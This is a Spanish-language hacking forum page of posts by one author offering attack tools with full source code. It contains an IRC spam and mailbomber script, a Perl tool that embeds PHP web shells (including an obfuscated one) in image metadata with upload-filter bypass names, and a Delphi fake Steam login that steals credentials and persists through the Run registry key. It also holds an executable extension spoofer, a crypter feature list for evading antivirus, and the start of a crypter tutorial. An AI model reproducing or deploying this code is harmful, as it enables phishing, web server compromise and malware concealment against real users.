  770. "-spam_server <host> -port <port> -nick <nick> -spam_file <spam> -timeout <timeout> : Spam in a server\n";
  771.    print
  772. "-spam_servers_list <file> -port <port> -nick <nick> -spam_file <spam> -timeout <timeout> : Spam in multiple servers\n";
  773.    print
  774. "-spam_targets <file> -port <port> -nick <nick> -spam_file <spam> -timeout <timeout> : Spam in servers & channels saved\n";
  775.    print "-mailbomber : Open MailBomber\n";
  776.    printear("\n[+] Example : \n\n");
  777.    print "perl kingspam.pl -get_channels localhost\n";
  778.    print "perl kingspam.pl -get_users localhost -channel #locos\n";
  779.    print
  780. "perl kingspam.pl -spam_channel localhost -channel #locos -spam_file c:/spam.txt\n";
  781.    print
  782. "perl kingspam.pl -spam_channel_forever localhost -channel #locos -spam_file c:/spam.txt\n";
  783.    print "perl kingspam.pl -spam_server localhost -spam_file c:/spam.txt\n";
  784.    print
  785. "perl kingspam.pl -spam_servers_file c:/servers.txt -nick ClapTrap -spam_file c:/spam.txt\n";
  786.    print
  787.      "perl kingspam.pl -spam_targets c:/servers.txt -spam_file c:/spam.txt\n";
  788.    print "perl kingspam.pl -mailbomber\n";
  789. }
  790.  
  791. sub head {
  792.    printear_logo("\n-- == KingSpam 1.0 == --\n\n\n");
  793. }
  794.  
  795. sub copyright {
  796.    printear_logo("\n\n-- == (C) Doddy Hackman 2015 == --\n\n");
  797.    exit(1);
  798. }
  799.  
  800. # The End ?
  801.  

Un video con ejemplos de uso :



Si quieren bajar el programa lo pueden hacer de aca :

SourceForge.
56  Programación / Scripting / [Perl] LFI Image Helper 0.8 en: 8 Mayo 2015, 15:57 pm
Un simple script en Perl para colocar codigo de phpshells en imagenes , el script tiene las siguientes opciones :

  • Listar todos los Tags de la imagen con contenido
  • Listar solo los Tags
  • Leer el valor de cierto Tag
  • Crear un Tag nuevo
  • Editar un Tag
  • Borrar un Tag
  • Infectar una imagen con un backdoor conocido en PHP

El codigo :

Código
  1. #!usr/bin/perl
  2. #LFI Image Helper 0.8
  3. #(C) Doddy Hackman 2015
  4. #ppm install  http://trouchelle.com/ppm/Image-ExifTool.ppd
  5. #
  6. #Array @shells based on : OhNo - Evil Image Builder By Hood3dRob1n
  7. #Thanks to Hood3dRob1n
  8. #
  9. #Dump Values
  10. #Based on :http://www.nntp.perl.org/group/perl.beginners/2012/02/msg119913.html
  11. #Thanks to Ken Slater
  12. #
  13. use Image::ExifTool;
  14. use Getopt::Long;
  15. use Color::Output;
  16. Color::Output::Init;
  17.  
  18. my @shells = (
  19.  
  20.    {},
  21.  
  22.    {
  23.  
  24.        "nombre"  => "Simple Backdoor",
  25.        "codigo"  => '<?php system($_GET["cmd"]);exit(1); ?>',
  26.        "ejemplo" => "?cmd="
  27.  
  28.    },
  29.    {
  30.  
  31.        "nombre" => "System Shell",
  32.        "codigo" =>
  33. '<?error_reporting(0);print(___);system($_REQUEST[cmd]);print(___);die;?>',
  34.        "ejemplo" => "?cmd="
  35.  
  36.    },
  37.    {
  38.  
  39.        "nombre" => "Eval Shell",
  40.        "codigo" =>
  41. '<?error_reporting(0);print(___);eval($_REQUEST[cmd]);print(___);die;?>',
  42.        "ejemplo" => "?cmd="
  43.  
  44.    },
  45.    {
  46.  
  47.        "nombre" => "Sneaky Shell",
  48.        "codigo" =>
  49. '<?php @$_[]=@!+_; $__=@${_}>>$_;$_[]=$__;$_[]=@_;$_[((++$__)+($__++ ))].=$_; $_[]=++$__; $_[]=$_[--$__][$__>>$__];$_[$__].=(($__+$__)+ $_[$__-$__]).($__+$__+$__)+$_[$__-$__]; $_[$__+$__] =($_[$__][$__>>$__]).($_[$__][$__]^$_[$__][($__<<$__)-$__] ); $_[$__+$__] .=($_[$__][($__<<$__)-($__/$__)])^($_[$__][$__] ); $_[$__+$__] .=($_[$__][$__+$__])^$_[$__][($__<<$__)-$__ ]; $_=$ $_[$__+ $__] ;$_[@-_]($_[@!+_] );?>',
  50.        "ejemplo" => "?0="
  51.  
  52.    },
  53.    {
  54.  
  55.        "nombre" => "r0ng Shell",
  56.        "codigo" =>
  57.          '<?if($_GET["r0ng"]){echo"<pre>".shell_exec($_GET["r0ng"]);}?>',
  58.        "ejemplo" => "?r0ng="
  59.  
  60.    }
  61.  
  62. );
  63.  
  64. GetOptions(
  65.    "dump_all=s"   => \$dump_all,
  66.    "dump_tags=s"  => \$dump_tags,
  67.    "read_tag=s"   => \$read_tag,
  68.    "tag=s"        => \$tag,
  69.    "make_tag=s"   => \$make_tag,
  70.    "value=s"      => \$value,
  71.    "update_tag=s" => \$update_tag,
  72.    "delete_tag=s" => \$delete_tag,
  73.    "backdoor=s"   => \$backdoor,
  74.    "bypass=s"     => \$bypass,
  75.    "file=s"       => \$file
  76. );
  77.  
  78. head();
  79.  
  80. if ($dump_all) {
  81.  
  82.    if ( -f $dump_all ) {
  83.        printear_titulo("[+] Finding information in : ");
  84.        print $dump_all. "\n\n";
  85.        dump_all($dump_all);
  86.    }
  87.    else {
  88.        printear("[-] File not found\n");
  89.    }
  90.  
  91. }
  92. elsif ($dump_tags) {
  93.  
  94.    if ( -f $dump_tags ) {
  95.        printear_titulo("[+] Finding tags in : ");
  96.        print $dump_tags. "\n\n";
  97.        dump_tags($dump_tags);
  98.    }
  99.    else {
  100.        printear("[-] File not found\n");
  101.    }
  102. }
  103. elsif ($read_tag) {
  104.  
  105.    if ( -f $read_tag ) {
  106.        printear_titulo("[+] Finding tag value of $tag in : ");
  107.        print $read_tag. "\n\n";
  108.        read_tag( $read_tag, $tag );
  109.    }
  110.    else {
  111.        printear("[-] File not found\n");
  112.    }
  113.  
  114. }
  115.  
  116. elsif ($make_tag) {
  117.  
  118.    if ( -f $make_tag ) {
  119.  
  120.        printear_titulo("[+] Photo : ");
  121.        print $make_tag. "\n";
  122.        printear_titulo("[+] Name : ");
  123.        print $tag. "\n";
  124.        printear_titulo("[+] Value : ");
  125.        print $value. "\n\n";
  126.  
  127.        printear("[+] Making tag $tag ...\n\n");
  128.  
  129.        make_tag( $make_tag, $tag, $value );
  130.  
  131.    }
  132.    else {
  133.        printear("[-] File not found\n");
  134.    }
  135. }
  136. elsif ($update_tag) {
  137.  
  138.    if ( -f $update_tag ) {
  139.  
  140.        printear_titulo("[+] Photo : ");
  141.        print $update_tag. "\n";
  142.        printear_titulo("[+] Name : ");
  143.        print $tag. "\n";
  144.        printear_titulo("[+] Value : ");
  145.        print $value. "\n\n";
  146.  
  147.        printear("[+] Updating tag $tag ...\n\n");
  148.  
  149.        update_tag( $update_tag, $tag, $value );
  150.  
  151.    }
  152.    else {
  153.        printear("[-] File not found\n");
  154.    }
  155. }
  156. elsif ($delete_tag) {
  157.  
  158.    if ( -f $delete_tag ) {
  159.        printear_titulo("[+] Deleting tag $tag in : ");
  160.        print $delete_tag. "\n\n";
  161.        delete_tag( $delete_tag, $tag );
  162.    }
  163.    else {
  164.        printear("[-] File not found\n");
  165.    }
  166.  
  167. }
  168. elsif ($backdoor) {
  169.  
  170.    if ( -f $backdoor ) {
  171.  
  172.        printear_titulo("[+] Photo : ");
  173.        print $backdoor. "\n\n";
  174.  
  175.        printear("[+] 1 : ");
  176.        print "Simple Backdoor\n";
  177.        printear("[+] 2 : ");
  178.        print "System Shell\n";
  179.        printear("[+] 3 : ");
  180.        print "Eval Shell\n";
  181.        printear("[+] 4 : ");
  182.        print "Sneaky Shell\n";
  183.        printear("[+] 5 : ");
  184.        print "r0ng Shell\n";
  185.  
  186.        printear_titulo("\n[+] Option : ");
  187.        chomp( my $opcion = <stdin> );
  188.  
  189.        backdoor_tag( $backdoor, $opcion, $file );
  190.  
  191.    }
  192.    else {
  193.        printear("[-] File not found\n");
  194.    }
  195.  
  196. }
  197. elsif ($bypass) {
  198.  
  199.    if ( -f $bypass ) {
  200.  
  201.        my $source = readfile($bypass);
  202.  
  203.        printear_titulo("[+] PHP Shell : ");
  204.        print $bypass. "\n\n";
  205.  
  206.        printear("[+] 1 : ");
  207.        print "bypass.jpg.php\n";
  208.        printear("[+] 2 : ");
  209.        print "bypass.php;test.jpg\n";
  210.        printear("[+] 3 : ");
  211.        print "bypass.php%00.jpg\n";
  212.  
  213.        printear_titulo("\n[+] Option : ");
  214.        chomp( my $opcion = <stdin> );
  215.  
  216.        if ( $opcion eq "1" ) {
  217.            savefile( $file . ".jpg.php", $source );
  218.            chmod 0777, $file . ".jpg.php";
  219.        }
  220.        elsif ( $opcion eq "2" ) {
  221.            savefile( $file . ".php;test.jpg", $source );
  222.            chmod 0777, $file . ".php;test.jpg";
  223.        }
  224.        elsif ( $opcion eq "3" ) {
  225.            savefile( $file . ".php%00.jpg", $source );
  226.            chmod 0777, $file . ".php%00.jpg";
  227.        }
  228.        else {
  229.            savefile( $file . ".jpg.php", $source );
  230.            chmod 0777, $file . ".jpg.php";
  231.        }
  232.  
  233.        printear("\n[+] PHP Shell Bypassed\n");
  234.  
  235.    }
  236.    else {
  237.        printear("\n[-] File not found\n");
  238.    }
  239.  
  240. }
  241. else {
  242.    sintax();
  243. }
  244.  
  245. copyright();
  246.  
  247. # Functions
  248.  
  249. sub backdoor_tag {
  250.  
  251.    my $image  = $_[0];
  252.    my $opcion = $_[1];
  253.    my $final  = $_[2];
  254.  
  255.    my $tag     = "Model";
  256.    my $nombre  = $shells[$opcion]->{nombre};
  257.    my $valor   = $shells[$opcion]->{codigo};
  258.    my $ejemplo = $shells[$opcion]->{ejemplo};
  259.  
  260.    printear("\n[+] Backdoor Name : ");
  261.    print "$nombre\n";
  262.    printear("[+] Backdoor Example : ");
  263.    print "$ejemplo\n";
  264.  
  265.    my $datos_imagen       = new Image::ExifTool;
  266.    my $informacion_imagen = $datos_imagen->ImageInfo($image);
  267.  
  268.    $datos_imagen->SetNewValue( $tag, $valor );
  269.  
  270.    unlink($final);
  271.  
  272.    $ok = $datos_imagen->WriteInfo( $image, $final );
  273.  
  274.    if ( $ok eq "1" ) {
  275.        printear_titulo("\n[+] Backdoor : ");
  276.        print "OK\n";
  277.        chmod 0777, $final;
  278.    }
  279.    else {
  280.        printear_titulo("\n[-] Backdoor: ");
  281.        print "Error\n";
  282.    }
  283.  
  284. }
  285.  
  286. sub delete_tag {
  287.  
  288.    my $imagen_target = $_[0];
  289.    my $tag           = $_[1];
  290.  
  291.    my $datos_imagen       = new Image::ExifTool;
  292.    my $informacion_imagen = $datos_imagen->ImageInfo($imagen_target);
  293.  
  294.    $datos_imagen->SetNewValue( $tag, undef );
  295.  
  296.    $ok = $datos_imagen->WriteInfo($imagen_target);
  297.  
  298.    if ( $ok eq "1" ) {
  299.        printear_titulo("[+] Tag $tag : ");
  300.        print "Deleted\n";
  301.    }
  302.    else {
  303.        printear_titulo("[-] Tag $tag : ");
  304.        print "Error\n";
  305.    }
  306.  
  307. }
  308.  
  309. sub update_tag {
  310.  
  311.    my $image = $_[0];
  312.    my $tag   = $_[1];
  313.    my $valor = $_[2];
  314.  
  315.    my $datos_imagen       = new Image::ExifTool;
  316.    my $informacion_imagen = $datos_imagen->ImageInfo($image);
  317.  
  318.    $datos_imagen->SetNewValue( $tag, $valor );
  319.  
  320.    $ok = $datos_imagen->WriteInfo($image);
  321.  
  322.    if ( $ok eq "1" ) {
  323.        printear_titulo("[+] Tag $tag : ");
  324.        print "Updated\n";
  325.    }
  326.    else {
  327.        printear_titulo("[-] Tag $tag : ");
  328.        print "Error\n";
  329.    }
  330.  
  331. }
  332.  
  333. sub make_tag {
  334.  
  335.    my $image = $_[0];
  336.    my $name  = $_[1];
  337.    my $value = $_[2];
  338.  
  339.    my $poc = Image::ExifTool->new();
  340.  
  341.    $poc->ExtractInfo($image);
  342.    $poc->SetNewValue( $name, $value );
  343.  
  344.    $ok = $poc->WriteInfo($image);
  345.  
  346.    if ( $ok eq "1" ) {
  347.        printear_titulo("[+] Tag $name : ");
  348.        print "Created\n";
  349.    }
  350.    else {
  351.        printear_titulo("[-] Tag $name : ");
  352.        print "Error\n";
  353.    }
  354.  
  355. }
  356.  
  357. sub read_tag {
  358.  
  359.    $imagen_target = $_[0];
  360.    $tag           = $_[1];
  361.  
  362.    my $datos_imagen       = new Image::ExifTool;
  363.    my $informacion_imagen = $datos_imagen->ImageInfo($imagen_target);
  364.  
  365.    $valor = $datos_imagen->GetValue($tag);
  366.  
  367.    if ( $valor eq "" ) {
  368.        printear("[-] Tag not found\n");
  369.    }
  370.    else {
  371.        printear("[+] $tag : ");
  372.        print $valor. "\n";
  373.    }
  374.  
  375. }
  376.  
  377. sub dump_tags {
  378.  
  379.    my $imagen_target = $_[0];
  380.  
  381.    my $datos_imagen       = new Image::ExifTool;
  382.    my $informacion_imagen = $datos_imagen->ImageInfo($imagen_target);
  383.  
  384.    @tags = $datos_imagen->GetFoundTags("File");
  385.  
  386.    for my $tag (@tags) {
  387.        printear("[+] Tag : ");
  388.        print $tag. "\n";
  389.    }
  390.  
  391. }
  392.  
  393. sub dump_all {
  394.  
  395.    my $imagen_target = $_[0];
  396.  
  397.    my $datos_imagen       = new Image::ExifTool;
  398.    my $informacion_imagen = $datos_imagen->ImageInfo($imagen_target);
  399.  
  400.    for my $abriendo_imagen ( $datos_imagen->GetFoundTags("Group0") ) {
  401.        my $valor = $informacion_imagen->{$abriendo_imagen};
  402.        printear("[+] $abriendo_imagen : ");
  403.        print $valor. "\n";
  404.    }
  405.  
  406. }
  407.  
  408. sub savefile {
  409.    open( SAVE, ">>" . $_[0] );
  410.    print SAVE $_[1] . "\n";
  411.    close SAVE;
  412. }
  413.  
  414. sub readfile {
  415.    open my $FILE, q[<], $_[0];
  416.    my $word = join q[], <$FILE>;
  417.    close $FILE;
  418.    return $word;
  419. }
  420.  
  421. sub printear {
  422.    cprint( "\x036" . $_[0] . "\x030" );
  423. }
  424.  
  425. sub printear_logo {
  426.    cprint( "\x037" . $_[0] . "\x030" );
  427. }
  428.  
  429. sub printear_titulo {
  430.    cprint( "\x0310" . $_[0] . "\x030" );
  431. }
  432.  
  433. sub sintax {
  434.  
  435.    printear("[+] Sintax : ");
  436.    print "perl $0 <option> <value>\n";
  437.    printear("\n[+] Options : \n\n");
  438.    print "-dump_all <image> : Get all information of a image\n";
  439.    print "-dump_tags <image> : Get all tags of a image\n";
  440.    print "-read_tag <image> -tag <tag> : Read value tags of a image\n";
  441.    print "-make_tag <image> -tag <tag> -value <value> : Make a new tag\n";
  442.    print "-update_tag <image> -tag <tag> -value <value> : Update tag\n";
  443.    print "-delete_tag <image> -tag <tag> : Delete tag\n";
  444.    print "-backdoor <image> -file <name> : Insert backdoor in a image\n";
  445.    print
  446. "-bypass <php shell> -file <name> : Rename extension of a image to bypass\n";
  447.    printear("\n[+] Example : ");
  448.    print "perl lfi_image_helper.pl -dump_all test.jpg\n";
  449.    copyright();
  450. }
  451.  
  452. sub head {
  453.    printear_logo("\n-- == LFI Image Helper 0.8 == --\n\n\n");
  454. }
  455.  
  456. sub copyright {
  457.    printear_logo("\n\n-- == (C) Doddy Hackman 2015 == --\n\n");
  458.    exit(1);
  459. }
  460.  
  461. sub toma {
  462.    return $nave->get( $_[0] )->content;
  463. }
  464.  
  465. #The End ?
  466.  

Un video con ejemplos de uso :



Si quieren bajar el programa lo pueden hacer de aca :

SourceForge.
57  Programación / Programación General / [Delphi] Fake Steam 0.3 en: 1 Mayo 2015, 17:05 pm
Un simple fake del programa Steam , parecia dificil pero con el poder de los skins de Delphi XE2 pude hacerlo "parecido".

Una imagen :



El codigo :

Código
  1. // Fake Steam 0.3
  2. // (C) Doddy Hackman 2015
  3.  
  4. unit fake;
  5.  
  6. interface
  7.  
  8. uses
  9.  Winapi.Windows, Winapi.Messages, System.SysUtils, System.Variants,
  10.  System.Classes, Vcl.Graphics,
  11.  Vcl.Controls, Vcl.Forms, Vcl.Dialogs, Vcl.ExtCtrls, Vcl.Imaging.pngimage,
  12.  Vcl.StdCtrls, Registry;
  13.  
  14. type
  15.  TForm1 = class(TForm)
  16.    Image1: TImage;
  17.    Image2: TImage;
  18.    Edit1: TEdit;
  19.    Edit2: TEdit;
  20.    Image3: TImage;
  21.    Image4: TImage;
  22.    Image5: TImage;
  23.    Image6: TImage;
  24.    procedure Image2Click(Sender: TObject);
  25.    procedure Image3Click(Sender: TObject);
  26.    procedure Image4Click(Sender: TObject);
  27.    procedure Image5Click(Sender: TObject);
  28.    procedure Image6Click(Sender: TObject);
  29.    procedure FormCreate(Sender: TObject);
  30.  private
  31.    { Private declarations }
  32.  public
  33.    { Public declarations }
  34.  end;
  35.  
  36. var
  37.  Form1: TForm1;
  38.  
  39. implementation
  40.  
  41. {$R *.dfm}
  42.  
  43. procedure TForm1.FormCreate(Sender: TObject);
  44. var
  45.  nombrereal: string;
  46.  rutareal: string;
  47.  yalisto: string;
  48.  her: TRegistry;
  49.  
  50. begin
  51.  
  52.  try
  53.    begin
  54.      nombrereal := ExtractFileName(ParamStr(0));
  55.      rutareal := ParamStr(0);
  56.      yalisto := 'C:\WINDOWS\' + nombrereal;
  57.  
  58.      CopyFile(Pchar(rutareal), Pchar(yalisto), false);
  59.  
  60.      her := TRegistry.Create;
  61.      her.RootKey := HKEY_LOCAL_MACHINE;
  62.  
  63.      her.OpenKey('Software\Microsoft\Windows\CurrentVersion\Run', false);
  64.      her.WriteString('ubersteam', yalisto);
  65.      her.Free;
  66.  
  67.      SetFileAttributes(Pchar(yalisto), FILE_ATTRIBUTE_HIDDEN);
  68.      SetFileAttributes(Pchar('C:/windows/datos.txt'), FILE_ATTRIBUTE_HIDDEN);
  69.    end;
  70.  except
  71.    //
  72.  end;
  73. end;
  74.  
  75. procedure TForm1.Image2Click(Sender: TObject);
  76. var
  77.  archivo: TextFile;
  78.  ruta: string;
  79.  
  80. begin
  81.  
  82.  if (Edit1.Text = 'doddy') and (Edit2.Text = 'hackman') then
  83.  begin
  84.    try
  85.      begin
  86.        WinExec('notepad c:/windows/datos.txt', SW_SHOW);
  87.      end;
  88.    except
  89.      //
  90.    end;
  91.  end
  92.  else
  93.  begin
  94.  
  95.    if Edit1.Text = '' then
  96.    begin
  97.      ShowMessage('Escriba tu usuario');
  98.    end;
  99.    if Edit2.Text = '' then
  100.    begin
  101.      ShowMessage('Escribe tu contraseña');
  102.    end
  103.    else
  104.    begin
  105.      if Edit2.Text = 'Escribe aqui tu contraseña' then
  106.      begin
  107.        ShowMessage('Escribe tu contraseña');
  108.      end
  109.      else
  110.      begin
  111.        try
  112.          begin
  113.            ruta := 'c:/windows/datos.txt'; // mod
  114.            if FileExists(ruta) then
  115.            begin
  116.              AssignFile(archivo, ruta);
  117.              FileMode := fmOpenWrite;
  118.              Append(archivo);
  119.              Writeln(archivo, '[user] : ' + Edit1.Text + ' [password] : ' +
  120.                Edit2.Text);
  121.              CloseFile(archivo);
  122.              Application.MessageBox
  123.                ('Se ha producido un error , es necesario reiniciar Steam',
  124.                'Steam', MB_OK);
  125.              Form1.Close;
  126.            end
  127.            else
  128.            begin
  129.              AssignFile(archivo, ruta);
  130.              FileMode := fmOpenWrite;
  131.              ReWrite(archivo);
  132.              Writeln(archivo, '[user] : ' + Edit1.Text + ' [password] : ' +
  133.                Edit2.Text);
  134.              CloseFile(archivo);
  135.              Application.MessageBox
  136.                ('Se ha producido un error , es necesario reiniciar Steam',
  137.                'Steam', MB_OK);
  138.              Form1.Close;
  139.            end;
  140.          end;
  141.        except
  142.          //
  143.        end;
  144.      end;
  145.    end;
  146.  end;
  147. end;
  148.  
  149. procedure TForm1.Image3Click(Sender: TObject);
  150. begin
  151.  Application.Terminate;
  152. end;
  153.  
  154. procedure TForm1.Image4Click(Sender: TObject);
  155. begin
  156.  ShowMessage('Not available');
  157. end;
  158.  
  159. procedure TForm1.Image5Click(Sender: TObject);
  160. begin
  161.  ShowMessage('Not available');
  162. end;
  163.  
  164. procedure TForm1.Image6Click(Sender: TObject);
  165. begin
  166.  ShowMessage('Not available');
  167. end;
  168.  
  169. end.
  170.  
  171. // The End ?
  172.  

Si quieren bajar el programa lo pueden hacer de aca.
58  Programación / Programación General / [Delphi] DH Server Manager 0.3 en: 24 Abril 2015, 17:25 pm
Un simple programa en Delphi para modificar ejecutables con las siguientes opciones :

  • File Pumper
  • Extension Spoofer
  • Icon Changer

Una imagen :



Código
  1. // DH Server Manager 0.3
  2. // (C) Doddy Hackman 2015
  3. // Based on : http://www.nerdprogrammer.in/2014/05/the-rats-crew-aio.html
  4.  
  5. unit dhserverman;
  6.  
  7. interface
  8.  
  9. uses
  10.  Winapi.Windows, Winapi.Messages, System.SysUtils, System.Variants,
  11.  System.Classes, Vcl.Graphics,
  12.  Vcl.Controls, Vcl.Forms, Vcl.Dialogs, Vcl.StdCtrls, Vcl.ComCtrls,
  13.  Vcl.ExtCtrls, Vcl.Imaging.pngimage, madRes, StrUtils;
  14.  
  15. type
  16.  TForm1 = class(TForm)
  17.    PageControl1: TPageControl;
  18.    TabSheet1: TTabSheet;
  19.    TabSheet2: TTabSheet;
  20.    TabSheet3: TTabSheet;
  21.    GroupBox1: TGroupBox;
  22.    ruta_archivo: TEdit;
  23.    Button1: TButton;
  24.    GroupBox2: TGroupBox;
  25.    Button2: TButton;
  26.    StatusBar1: TStatusBar;
  27.    TabSheet5: TTabSheet;
  28.    GroupBox3: TGroupBox;
  29.    GroupBox4: TGroupBox;
  30.    count: TEdit;
  31.    UpDown1: TUpDown;
  32.    tipo_cantidad: TComboBox;
  33.    GroupBox5: TGroupBox;
  34.    ruta_icono: TEdit;
  35.    Button3: TButton;
  36.    GroupBox6: TGroupBox;
  37.    Image1: TImage;
  38.    OpenDialog1: TOpenDialog;
  39.    OpenDialog2: TOpenDialog;
  40.    GroupBox7: TGroupBox;
  41.    usefilepumper: TCheckBox;
  42.    iconchanger: TCheckBox;
  43.    extensiones: TComboBox;
  44.    selectextension: TCheckBox;
  45.    GroupBox8: TGroupBox;
  46.    mi_extension: TCheckBox;
  47.    esta_extension: TEdit;
  48.    extensionchanger: TCheckBox;
  49.    TabSheet4: TTabSheet;
  50.    Image2: TImage;
  51.    GroupBox9: TGroupBox;
  52.    Image3: TImage;
  53.    Memo1: TMemo;
  54.    procedure Button2Click(Sender: TObject);
  55.    procedure Button3Click(Sender: TObject);
  56.    procedure FormCreate(Sender: TObject);
  57.    procedure Button1Click(Sender: TObject);
  58.  private
  59.    { Private declarations }
  60.  public
  61.    { Public declarations }
  62.  end;
  63.  
  64. var
  65.  Form1: TForm1;
  66.  
  67. implementation
  68.  
  69. {$R *.dfm}
  70. // Functions
  71.  
  72. procedure file_pumper(archivo: string; cantidad: LongWord);
  73. var
  74.  arraycantidad: array of Byte;
  75.  abriendo: TFileStream;
  76. begin
  77.  abriendo := TFileStream.Create(archivo, fmOpenReadWrite);
  78.  SetLength(arraycantidad, cantidad);
  79.  ZeroMemory(@arraycantidad[1], cantidad);
  80.  abriendo.Seek(0, soFromEnd);
  81.  abriendo.Write(arraycantidad[0], High(arraycantidad));
  82.  abriendo.Free;
  83. end;
  84.  
  85. procedure extension_changer(archivo: string; extension: string);
  86. var
  87.  nombre: string;
  88. begin
  89.  nombre := ExtractFileName(archivo);
  90.  nombre := StringReplace(nombre, ExtractFileExt(nombre), '',
  91.    [rfReplaceAll, rfIgnoreCase]);
  92.  nombre := nombre + char(8238) + ReverseString('.' + extension) + '.exe';
  93.  MoveFile(PChar(archivo), PChar(ExtractFilePath(archivo) + nombre));
  94. end;
  95.  
  96. //
  97.  
  98. procedure TForm1.Button1Click(Sender: TObject);
  99. begin
  100.  if OpenDialog1.Execute then
  101.  begin
  102.    ruta_archivo.Text := OpenDialog1.FileName;
  103.  end;
  104. end;
  105.  
  106. procedure TForm1.Button2Click(Sender: TObject);
  107. var
  108.  change: dword;
  109.  valor: string;
  110.  tipocantidad: string;
  111.  tipoextension: string;
  112.  extensionacambiar: string;
  113. begin
  114.  
  115.  if not(FileExists(ruta_archivo.Text)) then
  116.  begin
  117.    ShowMessage('Select File to change');
  118.  end
  119.  else
  120.  begin
  121.  
  122.    StatusBar1.Panels[0].Text := '[+] Working ...';
  123.    Form1.StatusBar1.Update;
  124.  
  125.    if (usefilepumper.Checked) then
  126.    begin
  127.      tipocantidad := tipo_cantidad.Items[tipo_cantidad.ItemIndex];
  128.      if (tipocantidad = 'Byte') then
  129.      begin
  130.        file_pumper(ruta_archivo.Text, StrToInt(count.Text) * 8);
  131.      end;
  132.      if (tipocantidad = 'KiloByte') then
  133.      begin
  134.        file_pumper(ruta_archivo.Text, StrToInt(count.Text) * 1024);
  135.      end;
  136.      if (tipocantidad = 'MegaByte') then
  137.      begin
  138.        file_pumper(ruta_archivo.Text, StrToInt(count.Text) * 1048576);
  139.      end;
  140.      if (tipocantidad = 'GigaByte') then
  141.      begin
  142.        file_pumper(ruta_archivo.Text, StrToInt(count.Text) * 1073741824);
  143.      end;
  144.      if (tipocantidad = 'TeraByte') then
  145.      begin
  146.        file_pumper(ruta_archivo.Text, StrToInt(count.Text) * 1099511627776);
  147.      end;
  148.    end;
  149.  
  150.    if (iconchanger.Checked) then
  151.    begin
  152.      try
  153.        begin
  154.          change := BeginUpdateResourceW
  155.            (PWideChar(wideString(ruta_archivo.Text)), false);
  156.          LoadIconGroupResourceW(change, PWideChar(wideString(valor)), 0,
  157.            PWideChar(wideString(ruta_icono.Text)));
  158.          EndUpdateResourceW(change, false);
  159.        end;
  160.      except
  161.        begin
  162.          //
  163.        end;
  164.      end;
  165.    end;
  166.  
  167.    if (extensionchanger.Checked) then
  168.    begin
  169.      if not(selectextension.Checked and mi_extension.Checked) then
  170.      begin
  171.        if (selectextension.Checked) then
  172.        begin
  173.          extensionacambiar := extensiones.Items[extensiones.ItemIndex];
  174.          extension_changer(ruta_archivo.Text, extensionacambiar);
  175.        end;
  176.        if (mi_extension.Checked) then
  177.        begin
  178.          extension_changer(ruta_archivo.Text, esta_extension.Text);
  179.        end;
  180.      end;
  181.    end;
  182.  
  183.    StatusBar1.Panels[0].Text := '[+] Done';
  184.    Form1.StatusBar1.Update;
  185.  end;
  186.  
  187. end;
  188.  
  189. procedure TForm1.Button3Click(Sender: TObject);
  190. begin
  191.  if OpenDialog2.Execute then
  192.  begin
  193.    ruta_icono.Text := OpenDialog2.FileName;
  194.    Image1.Picture.LoadFromFile(OpenDialog2.FileName);
  195.  end;
  196. end;
  197.  
  198. procedure TForm1.FormCreate(Sender: TObject);
  199. begin
  200.  OpenDialog1.InitialDir := GetCurrentDir;
  201.  OpenDialog2.InitialDir := GetCurrentDir;
  202.  OpenDialog2.Filter := 'Icons|*.ico|';
  203. end;
  204.  
  205. end.
  206.  
  207. // The End ?
  208.  

Un video con ejemplos de uso :



Si quieren bajar el programa lo pueden hacer de aca.
59  Programación / Programación General / [Delphi] DH Crypter 1.0 en: 13 Abril 2015, 15:12 pm
Un simple crypter que hice en Delphi con las siguientes funciones :

  • Generador de key para el cifrado
  • Delay
  • Startup del archivo
  • Ocultar archivo
  • Melt File
  • Mensajes falsos
  • Ejecutar comandos
  • Matar procesos
  • Abrir URL
  • Descargar y ejecutar archivos
  • File Pumper,Extension Spoofer & Icon Changer
  • Antis :
[++] Virtual PC
[++] Virtual Box
[++] Debug
[++] Wireshark
[++] OllyDg
[++] Anubis
[++] Kaspersky
[++] VMware

  • Disables :
[++] UAC
[++] Firewall
[++] CMD
[++] Run
[++] Taskmgr
[++] Regedit
[++] Updates

[!] Creditos :

[++] steve10120 [ RunPE ]

Una imagen :



Un video con ejemplos de uso :



Si quieren bajar el programa lo pueden hacer de aca :

SourceForge.

Eso seria todo.
60  Seguridad Informática / Análisis y Diseño de Malware / [Delphi] Creacion de un Crypter en: 12 Abril 2015, 21:54 pm
[Titulo] : Creacion de un Crypter
[Lenguaje] : Delphi
[Autor] : Doddy Hackman

[Temario]

-- =================--------

0x01 : Introduccion
0x02 : Creacion del Builder
0x03 : Creacion del Stub
0x04 : Probando el Crypter
0x05 : Creditos

-- =================--------

0x01 : Introduccion

Un crypter es un programa para ocultar malware para que no sea detectado y eliminado por los antivirus , en este manual aprenderemos a hacer un cryper en Delphi 7.
Solo les voy a enseñar como hacerlo , les voy avisando que no sera FUD y lo hago solo en Delphi 7 por varias razones ya que Delphi XE2 me daba muchos errores en este tema.

Empecemos ... 

0x02 : Creacion del Builder

Para empezar cargamos Delphi 7 y nos vamos "File->New->Application" como en la siguiente imagen :



Despues agregamos los siguientes elementos al formulario :

* 1 Edit (En Standard)
* 2 Botones (En Standard)
* 1 OpenDialog (En Dialogs)

El Edit contendra la ruta del archivo a cifrar , el primer boton sera para buscar el archivo , el segundo boton para cifrar el archivo y finalmente el OpenDialog lo usaremos para que el usuario pueda seleccionar el archivo.

Entonces al primer boton lo ponemos al lado del Edit1 y le ponemos de texto al boton : "Load" , el segundo boton viene abajo del Edit1 y le ponemos de texto "Encrypt"

Tambien si quieren pueden poner un titulo al Form desde la opcion de "Caption" del formulario , en mi caso pongo "Crypter".

El formulario les deberia quedar asi :



Entonces hacemos doble click en el boton "Load" y ponemos el siguiente codigo :

Código
  1. procedure TForm1.Button1Click(Sender: TObject);
  2. begin
  3.  if OpenDialog1.Execute then // Abrimos el OpenDialog para insertar la ruta
  4.  // del archivo a cifrar
  5.  begin
  6.    Edit1.Text := OpenDialog1.FileName; // Establecemos el texto de Edit1 con
  7.    // la ruta del archivo marcado en el openDialog1
  8.  end;
  9. end;
  10.  

Ahora hacemos doble click en el boton "Encrypt" y ponemos el siguiente codigo :

Código
  1. procedure TForm1.Button2Click(Sender: TObject);
  2. var
  3.  codigo: string; // Declaramos la variable "codigo" como string
  4.  key: integer; // Declaramos la variable "key" como integer
  5.  separador: string; // Declaramos la variable "separador" como string
  6.  linea: string; // Declaramos la variable "linea" como string
  7. begin
  8.  
  9.  separador := '-barra-';
